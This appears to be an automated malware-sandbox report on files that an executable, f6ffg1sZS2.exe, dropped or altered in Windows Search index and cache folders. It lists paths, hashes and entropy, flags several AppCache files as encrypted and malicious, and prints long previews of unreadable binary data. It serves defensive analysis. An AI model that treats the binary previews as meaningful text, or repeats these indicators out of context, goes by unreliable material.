?.(W7..K._...^..UQ..S!<..yI.o.=.....?5....Lv.>.......f.hD..Y.vS...<.]j..L..r...D\|.r3.....~~........(....I.[....N..R.-.j.....,j..R..pV...F..e.-h..6.!.HI.g6..5.N..`O..<\|..9."......+./V.=.....a.r..Z)Ey...."i.sCFw.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978225115531832
Encrypted:	false
SSDEEP:	192:Uheeq5ILqJsRI55t3Xk0K1hHBFNwLcbOYhWH:cWI655dXk5hiMO/
MD5:	DB60F1340321BF5024BFB25E89087974
SHA1:	52D66422BD44CCFFE8FA63479CF265559871706E
SHA-256:	251605F7614299F131A52D4CBEEF92332FBEFC7A15F645D4FA1B98A9CB91D6F7
SHA-512:	F8E784AB3BA1C3CF97576716A660D40B8CEE39E98EACE9B797C75E7EB9148F10CFF2215C45AEB38FD8E9E93D44B981F21B8FB17DE774D415026746262C101953
Malicious:	false
Preview:	6....CF...n.^6...k...].FJ.g.....bS?....?l..e..q...@.....\|1P ...O.. .,...i...Y..?..`..z8m.iL.$...B.j..>..>..f.Cu....i..$...?....g......C./.2\|R.j!....W\|.]x...9.8.S._...v.":.h.'.....b.F..~....g...5r.....U...rg.V.Or.h.a.0..B....Y\|.O.X..j.s..pQZfC...?^.#b<..rpr..S..Bn!.4....C......}}L.....Q..v_\..;..o..R.E...KZ.q@<.E.4...V..l@.....Z-.....L...U"{.kn\...DD...O.;r..a..jY.pO.<...V.K..,w....B.]\V..F.N.m..OBY.s..[)n..?yr.....[ 8Ey.!z..-.>k.8.].c>..b3..H..4....B...g...v....qo..uvx..5..c. ...O..h.{%a.....\|,..b...'..9..h.\|.h.Y\|2!. ^.t.....O../ZQ.$p......_V6.....W-=.5...u..99.Lg..Y.b......o.q..T...h..7k#'.}.e.W#.Fr.#K..'}}D...&...F..\.h.m.u...!.\|.s..On..zUa,...z.@.......8m~(8..&=...D..`...$....&..B.Qf.O..T..Y....$.c!%..^A.K..+.&.!./.}......gI.w......9....bJ.......RF.2......%.\|B..b........=...z....+.._{...VP.._Y..g...#.w.kO..H../@.Z...4.CY.Iy.2V.d....Bs.b...3....-...P):...x?..tpg\z/.....r'k.....L.....t.X....kT..R>.f......_r...]..@....(....jC!..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208458427798433
Encrypted:	false
SSDEEP:	3072:6Lb7ggXX2juISqpMIkZ3NlJIfHUBX8MW5AEMxJsrezzHODWE:mg6X8hRFQ3NlPtW5izS
MD5:	5F977C8EA43A68C3E3E5A7788EB29335
SHA1:	6BA5571A6F94FD9237A6839B0276D313DFF45B17
SHA-256:	80641C2DB28134A5608E129650C4C550CEC2DA6A50B996DAAE844AEC165FC870
SHA-512:	F00C7FDC7E8C898088FC4EBF190DE7FE692D4F0D27B44A42DA7AD553079775EBA378B5269B40691E4603BDB6546BCBF8DA45ECD339F265FBF59FC4412A96662E
Malicious:	false
Preview:	u.,I.(\|.....Y....]]m.....Z.IW.....Z=..8.xw...xi,.I.7]._V!..d.fK..!.,.=O...(.-^VT(2Z\|.Xo.....9j.dS...M..X..O.0./.l.Lq.!.9P./gM#...:....h\|...C....}6.y9.Z/;...`(n)z.Mr.....;......:....z.?.....T.......`...1&..$w...4.:.T;..T.cn..A.3:.....I.R]k=.P.........O.%..._...... d"sgj...y_.+..)Vb.o.WE....l{..._..bU.h.y\.>..Dk...X.,\..C.v.u......r-...u0.^... .n..+..a...pm..u./.S.t...GB$.?.`.\...l25...}....ph+...K3....S=..k...7P..-q...K`h^XB..q....N.....5..p....4.4..A..vzA.P..3.C.<V.e...M.C...V...&.....t.;.ti..2.+N....jC.........D.../.a.W6.j.A.v~y_{Nd$..[.T.Pt....,.nj..`.c.Sp..k.... q.......wm,..=.PR....1.IHv...8.A.}2...Q.......,..1: ..d..z.......mL..X-n.W.em.t.a.9......6.z..U....:m`...}\|re.DHj.U{)"..9.z...5.f........v..&...B.<..;......A.......+B(..Y.RS.....Z8..H..l!...4..nLN..M..i$$..7..!.U...W..q.G6.,.].<S..a^N....-.?....?p..L..v.{.8.Iv..W+.."......8! .B..UP.L.2.....j.'.#.........8.x....B.j.A.j..R.....l..........z{...c....H..q...../c....+.2..P...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.502176082507867
Encrypted:	false
SSDEEP:	3072:EFRzjKgT5PmogYcBCn8RTFJvqIPIysgM5j11/E2yUoDX5Xa21HmIaWD8aNcmul3g:DglPmogHwn8ZDuysx/E+oDXBao4W5
MD5:	67F8BECCE6536A459728DAEFEB97A109
SHA1:	B1F03786EFF366CE96B4E89A529EDA0B062B1D51
SHA-256:	B8313F720CD20F2F73BED0B50B094F1640E325E0F6FA68E6B56002522CCB97ED
SHA-512:	6FD763E3DD0CF5475D532F0256A1B037BF432E333AA47598F3FDE95DE0D24415F049E54B4CB817EF924BAFD5E2BECF1BD10241497EB0239AC6B4F377B9A21CCA
Malicious:	false
Preview:	......4....k........Z.....z.gFr..6}..]....9.w1...t..D.C .5.'.3JvX.....N....j2}\|I...V...$.H?...TF....V..wF.....w=).w<.Y<`~...8..3...F..F{u..Q/..`..... m.'7J.!......n....)[1>\|..s.>....9.<G^....\...=..Q[.a.a8A...?..a..i....k.#...J.:=T[5.p9..@.k.K...8.^'P.V.\|...rk.#.:L...'g$....s.E`.^.h.=....Z....<{.C.~v.9.-...,..).gM...eV.$.Hsz];i...y...C....(.3......Y.!. .%..i.\|._....a.......Xd.Y.)Jh........7F.A...g..L.....a...~.f....ZX=..!ZC.T".+...P..M.H.....h...^........]F.C...X.....}?.Dw...Nu.35..J...Z.2...U...ttv............cQ.P"...)Fw!.x.c#.1cF=......M.........kB.}..AA:.....X..!..M-M?X..6...7..X>j..`.........,........[....E.F..rN..x...T+$.[...G.`"c.%O@%..TY...E....Xu`..nANTU.2.....4..mrl....Y..@.u..K..6..E..w.^A......]d%....3...!..C..X.H.j......zGB..;.......j.........4. ..0;.}........\|..3...).[59s....t+....<....e.....q&/F......U....&.=..o#8.D.&.$.t..\|1.P6,#..>R...Y.D1.}(2.T:48n@..5".G.D....I...7A.f.......{U..z....G.{.z...x.L!..v....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207773712291921
Encrypted:	false
SSDEEP:	3072:1kKC1CSma17bpLirdmQcn4w/412qdIqgWogVUt5Ps7OuzIvCS2:WzCa1npWrGr/4xEWZU5PsZUk
MD5:	9139BD0F213471946918EA277A43CA4B
SHA1:	7ABAB1D60F5389426C2AA0E296E0E486E23B33BE
SHA-256:	4EA98E5846236FA75C892ACE47F177645510C4ECDCCCC0AB5E459CEACE41BBB2
SHA-512:	21FA1694A355B3B0144821D5E11B4CF128D3E82B691E3E5D6A950954735645B7F4BA056AD399388D0DF425AC694F5F202CC6CEADC877DDBE78C881937C440B8C
Malicious:	false
Preview:	.........7..:..}.......$T..X.."\|l.....{...>5F..C:.jy.\...r......".9.fL1.n...,._.9.xS...r3k.......".h"5w.!.~3..u..Hu-WZ.Y......O.....gJ....In.$..X\|.9..)..L....L9.~..1I.$Z....[.\#.....x..P...Y.h...E~.....$....W.....v..C.q...C}W%wD.DLu`.x..e...\A.^.........Q ......T..A....]o.#.W.U..w\|....""/.& .I...}.C`..c..B.=D....%........_[p.G......33./Opu.J]q.q....-.&~W...S.f........D.\|..X...egp..!@F...u`.._0...aC..._`.K.o..j..n...........uO+..tAy..\|N.....G1..1@.}...c^J....?.b.....lV...2,.Lj:.Zo.M..v.z.....f..k...._.{.....\..#..f...2F.1.,.@.6m.R..=..!.h>h.k9-..;{..8.........:.3..}.ZH.n,/D....2.V.mU.........q..Y..VP`R..vXfwX.=.R.&..Y..xc'.P.>@H..1.....u..A..e..Hyx?...Z.4...7....b..A:...@.K$..g..e.L.T...6..z.#. ........3..mT....^.86.e...b....o...+..^.W..Z,......$4. .\|.H"....y....=[.h..&....ZK..t~.T.hd.;..4.<u.W.x.$.3..>.Vi~.x3..[.._.r3.x....K`....Z..\|...6.uFa...y..K......l.A......p.......\|.^....,...;.ja c.7.Q.K.8.0<....$g;.e3:!G.(.&"`

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2080217004278904
Encrypted:	false
SSDEEP:	3072:ti5gSW6ukYdWD2AK0O5829KSh9LcyyjO+xzYQdua5B/HviU9QdJPmvY5:tiwLWyA/O58wPh9LXyjZzYQAaNePmO
MD5:	C6B7A18B986798838BEAAB619AA30FAD
SHA1:	208FC48F5D07CC6EF9E3A9745A47679B0DE49EAC
SHA-256:	27DC16133395384E8E6BB504781E78ABF6FF49F735099872CA53D9166A868E5F
SHA-512:	1250C3F9A13F436D59C1ECB52466B5A580D11A9E195E3A6A70DE48E8FF97EDE2F636685EAE95E0FF209EDCD9154D6C6284012F5D00A811912B0BE29D9A19B3A4
Malicious:	false
Preview:	.............."...`...?F..rVd].ceR.z(H..EU.#h..g.!.r_M.....#~f...@..#."8...\.,....].a.R...-y\?....o ...;......(z<.k...8.........#'...^P8=..U.......h[.O..........hO.d....ie.7...i.g..u;T...A..#.,f...F.....Zf..87.1.y.8.o..Q2Z.%..b..A..W?..,.......W....\|.t..5...EP..^6.y..h...i..F.....$n.<..T).$....F/.{....X..m!W.x.........$.....5.X8b....$....nX.d............9...].....#&.@..{.+o..8..#....JZ.=..f?...#J..........-m....~.....P.l.$B;.".\|.".X\..~..?....gm..zARh.'$..\..1G.kx..h..N.?...J...C...5.8.b./4.....oWyp....q..Nt._g.?.......f....5(B.bk.....r...?R.l.9WR.;..s.............m\.......[..=F..].x.B...+S6.....&4..8...4rj.C.).3O...!X....a=..)..R.6.U.Gq..5.,.)Q...,..o..!){...n..5...L.?.d..x....._}.......W.....fg.M...Ut.......a..{...?]?g)O4....9.F../.P.....f..>..9.>L....q+0v.....A.t.U..i$O....d........MV0%...5q.."..5.1.P.S.F.9L........,O.mF.}.m..e.0..8.qCEA....A..w.....vw.#.....k.]F..5.S..>...3.HA...El...M>..d%2...rA8..F..C(..}....i....</&.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207327078831826
Encrypted:	false
SSDEEP:	6144:jIPX1czhk1OIoqIuithYUfSicjA8pJMwXC6D:sPXiC1ODbfYUqhaWt
MD5:	C50F1BDD66A319EA1947CD095F28792F
SHA1:	0FE4209AF95E7BEB4B3C2F4DB797EAA9E6CEA81B
SHA-256:	312029DA8B05FE13B1C5E4504B0326FD7C3489673A2F23418E8A5E4F728850DA
SHA-512:	A12AC30D0E557869F770EF68F0197855E420DBA91807A9DAB241E4439567DC43F0C62F163C21FB50CC2FB8CB57EEA60643092DF27068849AC547DF9896BC3DD5
Malicious:	false
Preview:	...........h_t..&o.e...Dh.4u{.e..h.........VE..\|i3...Z...Z.jM....R..a.....^U..."q.m..x...r...V.`..BP....;e....S.....k...^?.9".....@....47w...<....4..V3.]...+.Z..........u_.`E....W.%.....U..U.........p.".....A..)*;...{.q^.R .g.=)!..toM....m....p...H...2....!u; ..E`..W...O.._..x..w...p.F.=.K..M.`/.....5.xp;..b..HT.jxW..F.....y...jP.. a. ...sn.l....8W.<..}..)c..v....t.'.O...n.....d.OZ..i$...).z..L.p..EE....G.t$....F........-.../e.O..aJ........%8...\3.^...:9..y..~F.C{....)........)m/.3!.Q.=.....U.....\....\....b.._.EE.z<....=.._.i.......).$.7..z>.!....e.L~L.`..........L.e.s..V)....W...{.9.7......e.Z.V..~.%.D.!...]8...,...vWf...8....&]...c.\.D....A...<.x.:/....Z..QD..j.....q.!....<D:.+..%D4.h(S.o_.D.w.....q..T+.2..@.....B.....@^..I!.I.b...H.5....q.).)$Th...y3..2)......6{id.7.".;.v...j*;.p...1......z.......h.........I..sG.......t.%.7....a....\.ld]=..?.{D..X..8.....{.).:...T..i....\|}..jH..%.... ..._..8.p{...(qU.:.1.MJ7h..,+<..<..9....N

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998464692388453
Encrypted:	true
SSDEEP:	3072:PRVdqFedhF9K/BenK2hOMlySKkSpz6IIVbwSSAcxs:p/zKBenKOlyTk2IVbF
MD5:	15A3058F2C599705973B090D080C518B
SHA1:	C6145C65EBA72700933193189179D2FEB8C3AB48
SHA-256:	A712C78D22E43599659797517A698B563314352AE394FBFBA53D7BF0E2E57480
SHA-512:	BA6CE0D5EA801E19F61B67F4EFF2E0E9D9021A8E30F17BDF83DC08C38A4F3D42B9D5A7DC8568DCCEF62ACC3FB2BFF8CCC9BD05C5E7B8AEF8BD69DE42C96BB4F5
Malicious:	true
Preview:	[{"Sy........+....X.qw.Y".`r...Q6....I..._.S..".~.uf?..u.....0.k...y.:Q..j..K.3'...UQ.Ww...m^v./b$T..5eI..1L.......=?..09-Oz.[.@/n..F+.....u...7.!.zr........v.hA.x.%....&.m.D.I...(...]U....+.l..p.\.......c..4CXx..D..f5.d.R..u+....a.... ....z#........+...@d.....n.w......._1nT-..F....C...H...u...(...C./..p=j3.J"...S`.r..&......i....t......'....-z.E.../..9...5(..4b.i:.....m...C.<.q.z!.....#b.Y8W.O..]w.3..1...z,.mRGa.....@......w.3..{.B....Q.$.T.Y#...mL...........D.x.8I......{m.r=2.....b.h...\|...:.02..kK.w.J..r..k.w...-...c.f...'v.7.I..%zd...%..VB..2p.Gb!.+P!WI]:#..L......}".....-...~t,..w..1....7.L,)uh.7'E. ..X..7.F...U.^J.....!l!...T...-....EL.N.u....-#.. g.......+.....[...Z.4`7...~....b.g.;.y#.T.A.....+..o...a.]...-.#..H......J!....\|....&a`}MbA[F.....~C..S!.$....M.......+..}V...?..'..t..x..\|.....M..#.<L...XmEq...{...xG%8..Y....1..o<...1..9....G+.../G...A..7.9..w.iN.-.$..P.;.1.~."....L.+..lp`u.l....>.f..^q..D`g....).8...Q...$

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998334710310607
Encrypted:	true
SSDEEP:	3072:6fiOl604ixiplqjAmFiO/YKzutZGOGqxdxv:CinEiplqjAmd70XGqxdR
MD5:	EA2D9CD8DA24EEF3FD9075EDD2E292C2
SHA1:	F9689E4B6A6A8D4D4A24C27464842EE402DC0212
SHA-256:	022F200395E82252DB9FB934B8581243A9360A4D8C547E526B5B87E37578FBBD
SHA-512:	3492229330DF512E2D5A55D8FF0D35CDB8CA43692DE1F39AE6034823E09DD1BA9F4ABEDE67AA9FABC5587D9046C2D7701FF8242415EECEEC7C06D7887A9B69D3
Malicious:	true
Preview:	[{"Sy.....h...../$F._).)B@X99..9.P(.&..Cj..U..y..G7.2.3..m"..N.(.(9/(...i...L&[..&F.c.E.]g..y. L..#x./.L.<..p.!C...s.W.l...^.<.....S..ma.z......p...?R.y.aK...........u7...R...m...<S..}7...2..u.s.[.8W...s.....D..Y5.=......b?......u.n..0..B..a.xoM9..E.q...p+..g...V..H.}.$$$6H....xKj..u.....e./....hP.\|...}.Y...../D&...{..[.....Fd...../........._.n...L.)_.".1(%'..I......V.:...w..6.!p.Y.s......Nd.2.....s. SK..`........?.$.3..jQ..1.. 'o...LP.x.X.k..;..G=..2v..DT.w.(qNz'..$....w..-7=..y.....).L...A'A.b..h./.L....qy....d.:. ..\.<[...`TS.A.G?L&..M..k.E.....p....B..N....)..._H......6.O..q>.n<n..UEw.ff1.&.F...b..[...n.I..5...{.p....$...${......)....4.`...@.:A.....y..q......w...:..%w.ig?.n...m.1N...3O~..i.Vg...5...9.!..Q4bX......~.J.j3..?G...<...?@....N......@..F.(..+&.v....B.M.g..W.<.X....n.........y/...6OG.).e.).~Dl(..r^ee.q.R.}..h.5...w.B..Dc..%>=)>..>.....7L.O..F...>S..9YE....`.....%3.@f.8z..>...9/wB.j.11....._..V->...hD\...l...,._J...v[,W.j...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998485818536204
Encrypted:	true
SSDEEP:	1536:HqwD+WOPxXxa+fXQooDnGxDmE8yEJ9utr9oG4cp1E3jxoq1BvSgrsa5ZBKACpKr8:L6dxnYhGxDmENE/c96GySqvvRrsalRZG
MD5:	A375D86F2DFBDF422C3293044E038DA6
SHA1:	4D740A9E1DE8B27F8E28A9A1BF2CCA31B4862432
SHA-256:	B4E251370FF5CFB2A09DBFA40FE49A0D0C286BD403F204AFA97670930D8A4CCD
SHA-512:	F86812B9F1F2A2B1BF3A867519EE702BC08E105554E4550849DBF00A26932EC7A98BAFFC1AC38D003611E12174870172DFCB77B416FD9EF434BB08B87C3DD1E8
Malicious:	true
Preview:	[{"Sy,j....lx..V.Iz.m..i...r9T%.#.H....q+.".\|.}4. P...x....?.c.....s.K....'9...T.'.#{`.w.u.V=..?.K",....o8r..\;l.2.~..?.1T.....c........xq....]....!..Z<Z..m...[....S...\|E....R....4../.qU.......U.4..p.6U8'....tB .....Y^.`O=%....)..L..p+8.`;.}....I&.>1h....(.......[..:....8A..w.[F.....P.9.......9..[.FKY.\|z.Jk..cC.....n.$....n.M".L...%,.A....As.P....LXbE...Q.k5.\...4.(.."r.....{.L.B.....M...E$.z.X.pmc..".....Ig).N-.....{..Hm.9...X....F..65..4..B...H.y....JKo^.....3...>B...)o.........=..D....V.A. .U..x.V..k..o%....&......=..$..4.q..u?..._.3y....]0./w..x. ..'......xs-v.\|...{.vjh*^.-/...f...1i!.u.A.....oV:@.:yW.l<...lMGE...T........p.R.....h.....6..}e7.XBz.~...(.a<.>k...2..%..N.....L..Y.{.8.sa.........H..C.w...M.%W.]..G.l.N~$]r.&!S..[@...)..q..~..}e....Q......Z<....r.B/...z..,..W.X}J...a............N...n=.c.....v.."...\|.H.^...b.CZ.f..V...6.x[.?....)...6T@.X..5.....kcvro.ol....b5f...]N..r.....Y....S.......E.%C..6../?..d#.....%o.W.R,.(.'.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998516831524522
Encrypted:	true
SSDEEP:	1536:SPVQ3pP4zLARYAhHUZhkWmT2aZ+V8A5CbMOOtG3tyxGF5xtaG6HxxYAIl:OQcGWKZCFcbUtG3tcS5zt6XO
MD5:	C060F5211CE31C557F9A1145F684C164
SHA1:	CC36D25470D86C413B4CBBB40E87C06CF49FCCD6
SHA-256:	743ADE5658CCCA5B6053440321BE770FEC8CB9FE1057C71CBBCF8475D6CF9557
SHA-512:	F56F8FC7F82D629F1066D40260976E9D8C762324FBA42527376D945C763607C2D3BB9FB610D46A53CC9FB42348955E3348713656083AACB452190160296E394A
Malicious:	true
Preview:	[{"Sy^.&.q3Va.dd9x^.....I....-#..s&..?T.4B.r.h...@............D#.....;..?.RN..,.Dr.LE.7.E.d...A.".N.....(.k..K.../oQWa?q,. ...Z.._e...4..v.'G..x.Dc..E..lR..$~....Jt......N.$.%+.._Bx.51%...yb..6p..3..a. ..a...;. ...3....J....5!d..{..>%.%..... )..e.b).....q....P.U...j........8C.......ow..p.. ....9..+.V...&.v.......Q=.b1.A.N'./P..mL.."#.b<.......g.)...c.!u+&H.1~u}..S.fe..j..c..<.~.O.0@\|.S.Q....q...;".....=.zc...O._&V>{#.].sR.lt.4..S.CX.o).,p..yA....$..`...C,.@. .g..m.....s.).J`..V.^............q..Q.V.w{....X.#...w.K.~.{^.z.9.)...G.)..r-.].Rj.$.M..=f.w..).#G........>.`.X..M}.p......5...~.R...sd<1....R.....f..hx.^a.;..~.G......@.?.h.7.Um.m..5...-.IE.......L.u.g..vO..!bj.J..i..x5.S..7..$.;..'~...."....L...v..SF....B.......D........X....r....u....;.........:Y..qNm....9...VP.Ux[5B.....jN .bl.=.'9\|.v.sj_-...0..3.'.^@~...q).VZ;e.......8K.'..F6...v.........A.FD.B.. .....@.N..!....@.84.5?....[..$FM+..=....5..x.p...?.r..k............D...~....(..6..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998494570712296
Encrypted:	true
SSDEEP:	3072:INpeWEfGugiDoLof7SNX/nEwXbDgtxbCHyiBgMvDf16:mUgiD/SRvVKbiBgML96
MD5:	8035860855218841EE48FE0DDB7B582F
SHA1:	05241406142EE0639FD140B20A960AB02EC67CC6
SHA-256:	95DC9EC4A299C2B479968BD5D044E97263F03D98B0D1288369DCD3C45A6B2600
SHA-512:	6E8A0486B9CB3E3A4EB106AD5CF0EDBD48D3C1A98D083F5780165B435103D12E6093F31FB1C94F5BA7807400FAA9E120BCA7C87013128ABA82674A9014A2F86C
Malicious:	true
Preview:	[{"SyW...p.k.G..X..x.^;.......\|$.,}.n~{.\|Y....Z9.....H...(o..L...>........:...A...=.....7...@.<.e...K^...\|M.J.&..P:..M.K. "..\|<.QMl.3.4+]eC......fp.?<..n...... ..s'....a........c[.).7T.....h.?.].E..i...n>H..J.....P.l.K<P..p.z&..f.[..^v'..%..1..rO.&.3..'...:.I.Y......J....D.......(G...=.z.&3.Y.d..S>..s!....g.l.J..w......}+...M.1.V...It..`EM..3....n.j..w.....$+..j.<.j....x.Yqx1Y...-.{..y.)C.A.......].....;..1...bd..1...b..w..L.^.oL........^D;....4..Bq..T...y(<N.#`.B.,.n.m>...'4G........L...N.h\|N.$F....6P.~$../.iU.. ..t<<.4[........6sh.2.eN.....Ub.s......t..:c..O&.v.G..Q?..5....Q................-..\...V...f....N......R.......r.C.....J.,!".HW~.N.%...tx7Nr..Wq......S\|...6..g..,J..[5z....._......~....:T....n[...b.Q...9o.......R..?-...8.../.Q...o.{...~QF..}..RLl.E.^I.NF.c..._...[...6S.0.Z.`..J1N\|.4.........T.Z..r.J..4b...."..l.P......gG...6.Q.n..GD.4FHK......A-V_.Pj].....N@:.J..w....#.v.$.A.i.,.-...b.-....t..:F.P.<...Y.xO.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.998437556194746
Encrypted:	true
SSDEEP:	3072:PdyceWw2lv3gUqT16zRJV9YLLbBVlr/3EuTx3zuLAJ:PdyceWw+gUU14JwNLEKx0i
MD5:	D99C724D3F3A88887B2594D37D28E899
SHA1:	5A1EB6886C0393DCD8850ED5DF524FE5E0DF37DB
SHA-256:	B3747248B02880234BF830861BD84FCE68E3D167AA0FC7F1F30CD4226143C7FA
SHA-512:	C365AA3EC00D1E19BB6906C57502346A51E05A024D3E258ED48EEFBBC4A95594DEEAC1E1402E95F41F2B978FA0C5F6670C5C57594CD0641887EE66776A17682F
Malicious:	true
Preview:	[{"Sy...eeD..-..V.^.z3.....W.v......-6n=...Z[2..Y..A.......k...<.c;s.{..RE.g.aR..Uq......:...m..&..QT._..+.L...<....7..I..s..^TR..... .&..&+.....C.xIb..!3....hr$.D..x..#&..(Rh../.>#.5....3.'.....=,. .>........U..$...!H.]mC'.X.q...O?x...6Gd.l.3.....P.......nJ..Vz.51.l.5.].U...h.+&.^.b..50dfg...F9..#R...Jb....(.O..g...}YB...m.E%.[.P....;[.....W.e.suy.....\|V.Q.V...f..X~.1.=.#........%.n+Z.X....."@.4?s...`..9...R..\.M.H...z..i.....%..9......C.1 ln..FC..........BRR..a~.-.sd.......Y..'.Ply..o.g.....=.)..#...w.{........3`..J..?....a..g1.....v.@I...}.8/....+..$.;&.".\|.r...;O8...5......G.b;g.!]OR..:Y}7..gH.z........}.../I...n2-$"W.......S.h.`H.qhx..,..<.>.&I^..v.e0.h^....~...G(.d6U~..Vu..V^..;........m.S....V...Dx.....#9&....8...Q.F.X.E.....V.\....`.S...sM.bN..h4og.c...7..E!*Asn..l...;$...E...B...Yh0...2/l)S.0.....2.g...Gt..Q.k......I.%.mG..0[~f..6....+..=..xj.}...s+...-..........E\|.M5~.%'....dOX..3O...z.....s.....0..v?.q..../....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.99869747093843
Encrypted:	true
SSDEEP:	3072:JL5HlUnb0BNnZvpDhq9N/GWlku5lK5DLKjA1PU:JrUQDZRDhqj/GnG6SA1PU
MD5:	AC6D26F124645921CD3A16004A70A1A4
SHA1:	96064479571BE98E354328808F14741553330054
SHA-256:	EF6424FB431696BAF78EE18ED7194955F2A5118AF3C6E7CC6D59FABB66CCE173
SHA-512:	1033F23BBCB30366503338EB493DDB04BBA0AAD3E5FB840DC15AB1D6D58C2E86C051EE162B104D9A7B2836E0E6450249A7962819D3A39A3AB881D096F1ED3C0F
Malicious:	true
Preview:	[{"Sy.....$c.LI..'.~..z.Yf..Q....S)k.A:......o...,1-.5v.\....}....I..$!.Yk.Y+}..,.w.........(...;..L...G....Z....."..[...1..(..2.9....6..J.......yhj.x...K...L0/.J.\|`.<.z....$..(.]R.,1..e....m......9.....g....b....>...<..2}9.v..'YDT..]..`.Y[.....^q..zC...].k..U.).9...%V.\|....&..3.......~!Yl....7...<..AD.\|Y..0w....q.T.w...0...T'..P.... ?.0............R5d... x.....}..KB.....7!....P8+....aB..........F..&]4lPv..g<....}tv..r.....[.....j..k.I...F.....h;.z.>.*...ZVD!v...;i.^."z~v).d.u...........)\|\..m..L..v........A. .1B.._......d.U.....}.tU.H..b-.^.7ig..L.....1:.A.s.!l.0K.T...........Z.=}n.~...U7[q.m.R..'.......BFx...>#...T.....4...[.3.8I^l.u...w...@.....?..t...C@..o...~e.ot.g..c...A.=bI.....b..R..svj....RE\....I~...I...-.......2...D.3.].9..7H..%.#..\|..^.ir".#R.....~..i....L.a..yx.T..B........XX./..~.s...Z..i%...o...ISU......6;.p.eG.#.q&....x0.......s.L.?.P.g......u......G....{}.<....@.4.......#..&?a.RW.8....@%T..."?p...[......F.B5..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945570897592.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998354035689617
Encrypted:	true
SSDEEP:	1536:9LJ9bCnnz5i4GGcqeYE/CtpkDKJm3G1s4U8akyVb7NYZjpRX/PNA57J476JRHjC7:pmnFlaqpcspP8XmNZ91enhpjG5ubR4
MD5:	B72918514FBDBA3DCF39D7A7A3126971
SHA1:	4110A488683B0B8922BB40AC9E66BF444301ACDF
SHA-256:	495157D57B1FA3FE4CD2B5B0289F01EE0B983561B3BA408EA13180812C058540
SHA-512:	50C5E33B283501B4321B8ECB594CEEE30745C35CB943D38F7DFB844BE9C08A5CF245EB578BB58C610F0F6F89E837DD592BC3E6E425476B0E3719BC011AB05324
Malicious:	true
